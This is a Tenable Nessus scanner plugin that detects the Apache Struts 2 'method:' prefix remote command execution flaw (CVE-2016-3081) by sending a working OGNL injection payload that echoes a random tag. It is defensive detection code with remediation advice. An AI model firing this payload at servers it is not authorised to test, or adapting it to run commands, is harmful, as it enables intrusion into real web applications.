The remote web application appears to use Struts 2, a web framework that utilizes OGNL (Object-Graph Navigation Language) as an expression language. When Dynamic Method Invocation is enabled, it is possible to pass a malicious expression to the βmethod:β prefix. A remote, unauthenticated attacker can exploit this issue to execute arbitrary commands on the remote web server.
Note that this plugin will only report the first vulnerable instance of a Struts 2 application.
#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#
include('deprecated_nasl_level.inc');
include('compat.inc');
if (description)
{
script_id(119728);
script_version("1.11");
script_set_attribute(attribute:"plugin_modification_date", value:"2023/07/17");
script_cve_id("CVE-2016-3081");
script_bugtraq_id(87327);
script_name(english:"Apache Struts 2 'method:' Prefix Arbitrary Remote Command Execution");
script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a web application that uses a Java
framework, which is affected by a remote command execution
vulnerability.");
script_set_attribute(attribute:"description", value:
"The remote web application appears to use Struts 2, a web framework
that utilizes OGNL (Object-Graph Navigation Language) as an expression
language. When Dynamic Method Invocation is enabled, it is possible to
pass a malicious expression to the 'method:' prefix. A remote,
unauthenticated attacker can exploit this issue to execute arbitrary
commands on the remote web server.
Note that this plugin will only report the first vulnerable
instance of a Struts 2 application.");
script_set_attribute(attribute:"see_also", value:"https://cwiki.apache.org/confluence/display/WW/S2-032");
script_set_attribute(attribute:"solution", value:
"Upgrade to version 2.3.28.1 or later.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C");
script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H");
script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");
script_set_attribute(attribute:"cvss_score_source", value:"CVE-2016-3081");
script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
script_set_attribute(attribute:"exploit_available", value:"true");
script_set_attribute(attribute:"exploit_framework_core", value:"true");
script_set_attribute(attribute:"d2_elliot_name", value:"Apache Struts Dynamic Method Invocation Expression Handling RCE");
script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
script_set_attribute(attribute:"exploited_by_nessus", value:"true");
script_set_attribute(attribute:"metasploit_name", value:'Apache Struts Dynamic Method Invocation Remote Code Execution');
script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
script_set_attribute(attribute:"canvas_package", value:"CANVAS");
script_set_attribute(attribute:"vuln_publication_date", value:"2016/04/27");
script_set_attribute(attribute:"patch_publication_date", value:"2016/04/27");
script_set_attribute(attribute:"plugin_publication_date", value:"2018/12/17");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe", value:"cpe:/a:apache:struts");
script_set_attribute(attribute:"thorough_tests", value:"true");
script_end_attributes();
script_category(ACT_ATTACK);
script_family(english:"CGI abuses");
script_copyright(english:"This script is Copyright (C) 2018-2023 and is owned by Tenable, Inc. or an Affiliate thereof.");
script_dependencies("http_version.nasl", "webmirror.nasl", "os_fingerprint.nasl");
script_require_ports("Services/www", 80, 8080);
exit(0);
}
include("http.inc");
include("url_func.inc");
port = get_http_port(default:8080);
cgis = get_kb_list('www/' + port + '/cgi');
urls = make_list();
# To identify actions that we can test the exploit on we will look
# for files with the .action / .jsp / .do suffix from the KB.
if (!isnull(cgis))
{
foreach var cgi (cgis)
{
match = pregmatch(pattern:"((^.*)(/.+\.act(ion)?)($|\?|;))", string:cgi);
if (match)
{
urls = make_list(urls, match[0]);
if (!thorough_tests) break;
}
match2 = pregmatch(pattern:"(^.*)(/.+\.jsp)$", string:cgi);
if (!isnull(match2))
{
urls = make_list(urls, match2[0]);
if (!thorough_tests) break;
}
match3 = pregmatch(pattern:"(^.*)(/.+\.do)$", string:cgi);
if (!isnull(match3))
{
urls = make_list(urls, match3[0]);
if (!thorough_tests) break;
}
if (cgi =~ "struts2?(-rest)?-showcase")
{
urls = make_list(urls, cgi);
if (!thorough_tests) break;
}
}
}
if (isnull(cgis) || thorough_tests)
{
cgi2 = get_kb_list('www/' + port + '/content/extensions/act*');
if (!isnull(cgi2)) urls = make_list(urls, cgi2);
cgi3 = get_kb_list('www/' + port + '/content/extensions/jsp');
if (!isnull(cgi3)) urls = make_list(urls, cgi3);
cgi4 = get_kb_list('www/' + port + '/content/extensions/do');
if (!isnull(cgi4)) urls = make_list(urls, cgi4);
}
# Always check web root
urls = make_list(urls, "/");
# Struts is slow
timeout = get_read_timeout() * 2;
if(timeout < 10)
timeout = 10;
http_set_read_timeout(timeout);
urls = list_uniq(urls);
vuln = FALSE;
tag = "tenable-"+rand();
foreach var url (urls)
{
vuln_url = url + "?tag="+tag+
"&method%3a%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,"+
"%23writer%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter(),"+
"%23writer.println(%23parameters.tag[0]),%23writer.flush(),%23writer.close";
res = http_send_recv3(
method : "GET",
port : port,
item : vuln_url,
exit_on_fail : TRUE
);
pattern = "^"+tag+"$";
if (!isnull(res[2]) && res[2] =~ pattern)
vuln = TRUE;
# Stop after first vulnerable Struts app is found
if (vuln) break;
}
if (!vuln) exit(0, 'No vulnerable applications were detected on the web server listening on port '+port+'.');
security_report_v4(
port : port,
severity : SECURITY_HOLE,
generic : TRUE,
request : make_list(build_url(qs:vuln_url, port:port)),
output : chomp(res[2])
);